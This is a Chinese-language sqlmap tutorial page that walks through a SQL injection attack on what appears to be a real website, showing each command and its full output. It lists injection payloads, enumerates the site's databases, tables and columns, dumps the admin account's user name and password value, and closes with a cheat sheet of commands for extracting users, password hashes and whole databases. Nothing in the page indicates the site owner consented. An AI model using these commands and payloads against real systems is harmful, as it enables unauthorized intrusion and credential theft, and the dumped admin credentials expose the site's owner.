sqlmap 使用方法及实例
注：标黄处为输入内容 批注为得到的信息
1.-u url --dbs 爆数据库
[root@Hacker~]# Sqlmap -u http://www.lbgold.com/article_show.php?id=1826 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:23:20
[15:23:21] [INFO] resuming back-end DBMS 'mysql'
[15:23:21] [INFO] testing connection to the target url
[15:23:22] [INFO] heuristics detected web page charset 'UTF-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1826 AND 8515=8515
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: id=1826 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6e7
46d3a,0x74437972455a4d666447,0x3a747a793a), NULL, NULL, NULL, NULL, NULL, NULL,
NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1826 AND SLEEP(5)
---
[15:23:22] [INFO] the back-end DBMS is MySQL
web server operating system: Windows Vista
web application technology: ASP.NET, PHP 5.4.4, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
[15:23:22] [INFO] fetching database names
[15:23:22] [INFO] the SQL query used returns 5 entries
[15:23:22] [INFO] resumed: "information_schema"
[15:23:22] [INFO] resumed: "gold"
[15:23:22] [INFO] resumed: "mysql"
[15:23:22] [INFO] resumed: "performance_schema"
[15:23:22] [INFO] resumed: "test"
available databases [5]:
[*] gold
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[15:23:23] [INFO] fetched data logged to text files under 'E:\SQLMAP~2\Bin\outpu
t\www.lbgold.com'
[*] shutting down at 15:23:23
2. -u url --tables -D 数据库 //爆表段
[root@Hacker~]# Sqlmap -u http://www.lbgold.com/article_show.php?id=1826 --tables -D gold
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:52:54
[15:52:54] [INFO] resuming back-end DBMS 'mysql'
[15:52:55] [INFO] testing connection to the target url
[15:52:56] [INFO] heuristics detected web page charset 'UTF-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1826 AND 8515=8515
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: id=1826 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6e7
46d3a,0x74437972455a4d666447,0x3a747a793a), NULL, NULL, NULL, NULL, NULL, NULL,
NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1826 AND SLEEP(5)
---
[15:52:56] [INFO] the back-end DBMS is MySQL
web server operating system: Windows Vista
web application technology: ASP.NET, PHP 5.4.4, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
[15:52:56] [INFO] fetching tables for database: 'gold'
[15:52:58] [INFO] the SQL query used returns 5 entries
[15:52:59] [INFO] retrieved: "admin"
[15:53:00] [INFO] retrieved: "article"
[15:53:01] [INFO] retrieved: "class"
[15:53:02] [INFO] retrieved: "content"
[15:53:03] [INFO] retrieved: "djjl"
Database: gold
[5 tables]
+---------+
| admin |
| article |
| class |
| content |
| djjl |
+---------+
[15:53:04] [INFO] fetched data logged to text files under 'E:\SQLMAP~2\Bin\outpu
t\www.lbgold.com'
[*] shutting down at 15:53:04
3. -u url --columns -T 表段 -D 数据库 //爆字段
[root@Hacker~]# Sqlmap -u http://www.lbgold.com/article_show.php?id=1826 --columns -T admin -D gold
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:58:10
[15:58:10] [INFO] resuming back-end DBMS 'mysql'
[15:58:10] [INFO] testing connection to the target url
[15:58:12] [INFO] heuristics detected web page charset 'UTF-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1826 AND 8515=8515
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: id=1826 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6e7
46d3a,0x74437972455a4d666447,0x3a747a793a), NULL, NULL, NULL, NULL, NULL, NULL,
NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1826 AND SLEEP(5)
---
[15:58:12] [INFO] the back-end DBMS is MySQL
web server operating system: Windows Vista
web application technology: ASP.NET, PHP 5.4.4, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
[15:58:12] [INFO] fetching columns for table 'admin' in database 'gold'
[15:58:13] [INFO] the SQL query used returns 3 entries
[15:58:14] [INFO] retrieved: "id","int(2)"
[15:58:15] [INFO] retrieved: "user","char(12)"
[15:58:16] [INFO] retrieved: "password","char(36)"
Database: gold
Table: admin
[3 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| id | int(2) |
| password | char(36) |
| user | char(12) |
+----------+----------+
[15:58:17] [INFO] fetched data logged to text files under 'E:\SQLMAP~2\Bin\outpu
t\www.lbgold.com'
[*] shutting down at 15:58:17
4.-u url --dump -C 字段 -T 表段 -D 数据库 //猜解
(1) 猜解password字段
[root@Hacker~]# Sqlmap -u http://www.lbgold.com/article_show.php?id=1826 --dump -C password -T admin -D gold
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:02:05
[16:02:05] [INFO] resuming back-end DBMS 'mysql'
[16:02:05] [INFO] testing connection to the target url
[16:02:06] [INFO] heuristics detected web page charset 'UTF-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1826 AND 8515=8515
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: id=1826 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6e7
46d3a,0x74437972455a4d666447,0x3a747a793a), NULL, NULL, NULL, NULL, NULL, NULL,
NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1826 AND SLEEP(5)
---
[16:02:06] [INFO] the back-end DBMS is MySQL
web server operating system: Windows Vista
web application technology: ASP.NET, PHP 5.4.4, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
[16:02:06] [INFO] fetching entries of column(s) 'password' for table 'admin' in
database 'gold'
[16:02:08] [INFO] the SQL query used returns 1 entries
[16:02:09] [INFO] retrieved: "ecoDz4IPZGYNs"
[16:02:09] [INFO] analyzing table dump for possible password hashes
Database: gold
Table: admin
[1 entry]
+---------------+
| password |
+---------------+
| ecoDz4IPZGYNs |
+---------------+
[16:02:09] [INFO] table 'gold.admin' dumped to CSV file 'E:\SQLMAP~2\Bin\output\
www.lbgold.com\dump\gold\admin.csv'
[16:02:09] [INFO] fetched data logged to text files under 'E:\SQLMAP~2\Bin\outpu
t\www.lbgold.com'
[*] shutting down at 16:02:09
(2) 猜解id字段
[root@Hacker~]# Sqlmap -u http://www.lbgold.com/article_show.php?id=1826 --dump -C id -T admin -D gold
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:10:22
[16:10:22] [INFO] resuming back-end DBMS 'mysql'
[16:10:22] [INFO] testing connection to the target url
[16:10:23] [INFO] heuristics detected web page charset 'UTF-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1826 AND 8515=8515
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: id=1826 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6e7
46d3a,0x74437972455a4d666447,0x3a747a793a), NULL, NULL, NULL, NULL, NULL, NULL,
NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1826 AND SLEEP(5)
---
[16:10:23] [INFO] the back-end DBMS is MySQL
web server operating system: Windows Vista
web application technology: ASP.NET, PHP 5.4.4, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
[16:10:23] [INFO] fetching entries of column(s) 'id' for table 'admin' in databa
se 'gold'
[16:10:24] [INFO] the SQL query used returns 1 entries
[16:10:25] [INFO] retrieved: "1"
[16:10:25] [INFO] analyzing table dump for possible password hashes
Database: gold
Table: admin
[1 entry]
+----+
| id |
+----+
| 1 |
+----+
[16:10:25] [INFO] table 'gold.admin' dumped to CSV file 'E:\SQLMAP~2\Bin\output\
www.lbgold.com\dump\gold\admin.csv'
[16:10:25] [INFO] fetched data logged to text files under 'E:\SQLMAP~2\Bin\outpu
t\www.lbgold.com'
[*] shutting down at 16:10:25
(3) 猜解user字段
[root@Hacker~]# Sqlmap -u http://www.lbgold.com/article_show.php?id=1826 --dump -C user -T admin -D gold
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:10:48
[16:10:48] [INFO] resuming back-end DBMS 'mysql'
[16:10:48] [INFO] testing connection to the target url
[16:10:49] [INFO] heuristics detected web page charset 'UTF-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1826 AND 8515=8515
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: id=1826 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6e7
46d3a,0x74437972455a4d666447,0x3a747a793a), NULL, NULL, NULL, NULL, NULL, NULL,
NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1826 AND SLEEP(5)
---
[16:10:49] [INFO] the back-end DBMS is MySQL
web server operating system: Windows Vista
web application technology: ASP.NET, PHP 5.4.4, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0.11
[16:10:49] [INFO] fetching entries of column(s) 'user' for table 'admin' in data
base 'gold'
[16:10:49] [INFO] the SQL query used returns 1 entries
[16:10:50] [INFO] retrieved: "ssb"
[16:10:51] [INFO] analyzing table dump for possible password hashes
Database: gold
Table: admin
[1 entry]
+------+
| user |
+------+
| ssb |
+------+
[16:10:51] [INFO] table 'gold.admin' dumped to CSV file 'E:\SQLMAP~2\Bin\output\
www.lbgold.com\dump\gold\admin.csv'
[16:10:51] [INFO] fetched data logged to text files under 'E:\SQLMAP~2\Bin\outpu
t\www.lbgold.com'
[*] shutting down at 16:10:51
[root@Hacker~]# Sqlmap
5.sqlmap工具的使用命令
mssql access 直接爆表.然后你懂的
BT5里面的话前面就要加python
sqlmap.py -u url --dbs //爆数据库
sqlmap.py -u url --current-db //爆当前库
sqlmap.py -u url --current-user //爆当前用户
sqlmap.py -u url --users 查看用户权限
sqlmap.py -u url --tables -D 数据库 //爆表段
sqlmap.py -u url --columns -T 表段 -D 数据库 //爆字段
sqlmap.py -u url --dump -C 字段 -T 表段 -D 数据库 //猜解
sqlmap.py -u url --dump --start=1 --stop=3 -C 字段 -T 表段 -D 数据库 //猜解1到3的字段
翻回来也可以
sqlmap.py -u url 判断
sqlmap.py -u url --is-dba -v 这是判断当前数据库的使用者是否是dba
sqlmap.py -u url --users -v 0 这句的目的是列举数据库的用户
sqlmap.py -u url --passwords -v 0 这句的目的是获取数据库用户的密码
sqlmap.py -u url --privileges -v 0 这是判断当前的权限
sqlmap.py -u url --dbs -v 0 这句的目的是将所有的数据库列出来
sqlmap.py -u url --tables -D '表' 爆表
sqlmap.py -u url --columns -T ‘表’-D ‘数据库’爆列
sqlmap.py -u url --dump -T '表' --start 1 --stop 4 -v 0 这里是查询第2到第4行的内
sqlmap.py -u url --dump -all -v 0
sqlmap 使用方法及实例的更多相关文章
- React构建单页应用方法与实例
React作为目前最流行的前端框架之一,其受欢迎程度不容小觑,从这门框架上我们可以学到许多其他前端框架所缺失的东西,也是其创新性所在的地方,比如虚拟DOM.JSX等.那么接下来我们就来学习一下这门框架 ...
- Redux状态管理方法与实例
状态管理是目前构建单页应用中不可或缺的一环,也是值得花时间学习的知识点.React官方推荐我们使用Redux来管理我们的React应用,同时也提供了Redux的文档来供我们学习,中文版地址为http: ...
- JQuery 获取json数据$.getJSON方法的实例代码
这篇文章介绍了JQuery 获取json数据$.getJSON方法的实例代码,有需要的朋友可以参考一下 前台: function SelectProject() { var a = new Array ...
- (转)Java 的swing.GroupLayout布局管理器的使用方法和实例
摘自http://www.cnblogs.com/lionden/archive/2012/12/11/grouplayout.html (转)Java 的swing.GroupLayout布局管理器 ...
- Springmvc+Spring+Hibernate搭建方法及实例
Springmvc+Spring+Hibernate搭建方法及实例
- jQuery中on()方法用法实例详解
这篇文章主要介绍了jQuery中on()方法用法,实例分析了on()方法的功能及各种常见的使用技巧,并对比分析了与bind(),live(),delegate()等方法的区别,需要的朋友可以参考下 本 ...
- （转）多个mapreduce工作相互依赖处理方法完整实例（JobControl）
多个mapreduce工作相互依赖处理方法完整实例(JobControl) 原文地址:http://mntms.iteye.com/blog/2096456?utm_source=tuicool&am ...
- SQLMAP注入教程-11种常见SQLMAP使用方法详解
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了.今天把我一直 ...
- Java——静态变量/方法与实例变量/方法的区别
静态只能调用静态 非静态: 对象名.方法名 package ti; //通过两个类 StaticDemo.LX4_1 说明静态变量/方法与实例变量/方法的区别. class StaticDemo { ...
随机推荐
- 自定义DbUtils通用类
本实例使用C3P0连接池做连接,详见https://www.cnblogs.com/qf123/p/10097662.html开源连接池C3P0的使用 DBUtils.java package com ...
- 4、服务注册&服务提供者
1.什么是服务提供者 服务提供者(Service Provider):是指服务的被调用方(即:为其它服务提供服务的服务):服务提供者,作为一个Eureka Client,向Eureka Server做 ...
- 在MyEclipse中更换或修改svn的用户名和密码
1.通过删除SVN客户端的账号配置文件 (1)找到我们使用的客户端配置文件,Windows XP中的位置是在系统盘的Documents and Settings\Administrator\A ...
- 2018-2-13-安装-aria2
title author date CreateTime categories 安装 aria2 lindexi 2018-2-13 17:23:3 +0800 2018-2-13 17:23:3 + ...
- ZOJ-3524 拓扑排序+完全背包（好题）
题意:在一个DAG上,主角初始有W钱起点在s点,每个点有一个代价wi和价值vi,主角从起点走到某一点不能回头走,一路上可以买东西(一个点的东西可以买无限次),且体力消耗为身上负重*路径长度.主角可以在 ...
- 多核cpu实现多任务原理
- vue中key的作用
1.v-if中用key管理可复用的元素 Vue 会尽可能高效地渲染元素,通常会复用已有元素而不是从头开始渲染.这么做,除了使 Vue 变得非常快之外,还有一些有用的好处.例如,如果你允许用户在不同的 ...
- 在linux设置/etc/vimrc 将vim 中后缀.sh的文件 的前几行进行默认输入
输入vim test.sh 新建后缀sh的文件,效果如下: 具体/etc/vimrc配置为: if expand("%:e") == 'sh' call setline(1,&q ...
- mongodb客户端操作常用命令（续）
之前有写过一篇mongodb客户端的操作常用命令 ,今天接着来记录分享一些关于mongodb账户权限设置的命令操作 上期mongodb客户端的操作常用命令地址:https://www.cnblogs. ...
- ecshop前台英文后台中文的设置方法
ecshop前台英文后台中文的设置方法 这里有两种方法: 第一种方法: 打开 admin/includes/init.php 文件 找到$_CFG = load_config(); 在它下面增加一行代 ...